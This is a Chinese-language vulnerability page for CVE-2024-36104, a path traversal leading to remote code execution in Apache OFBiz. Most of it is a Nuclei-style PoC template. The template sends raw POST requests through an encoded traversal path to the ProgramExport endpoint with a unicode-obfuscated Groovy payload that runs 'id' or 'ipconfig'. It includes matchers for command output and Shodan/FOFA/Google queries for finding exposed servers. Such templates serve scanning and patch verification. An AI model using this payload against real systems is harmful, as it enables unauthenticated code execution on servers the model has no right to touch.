CVE-2024-36104: Apache OFBiz - Directory Traversal & Remote Code Execution

日期: 2025-08-01 | 影响软件: Apache OFBiz | POC: 已公开

漏洞描述

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.

PoC代码[已公开]

id: CVE-2024-36104

info:
  name: Apache OFBiz - Directory Traversal & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
  impact: |
    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
    - https://lists.apache.org/thread/sv0xr8b1j7mmh5p37yldy9vmnzbodz2o
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36104
    cwe-id: CWE-22
    epss-score: 0.93507
    epss-percentile: 0.99823
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.title:"ofbiz"
      - http.html:"apache ofbiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="apache_ofbiz"
      - body="apache ofbiz"
      - title="ofbiz"
    google-query: intitle:"ofbiz"
  tags: cve,cve2024,apache,ofbiz,lfi,vkev

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
        condition: or

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210081f231b5d912fc2bc1ecd9ad6c660d88df2a3b7964d1b94d991b2e45e5c635e70220467aa817e1f40ad4201207077cd83d1b361d9eca852c67807318875d657b5018:922c64590222798bb761d5b6d8e72950

相关漏洞推荐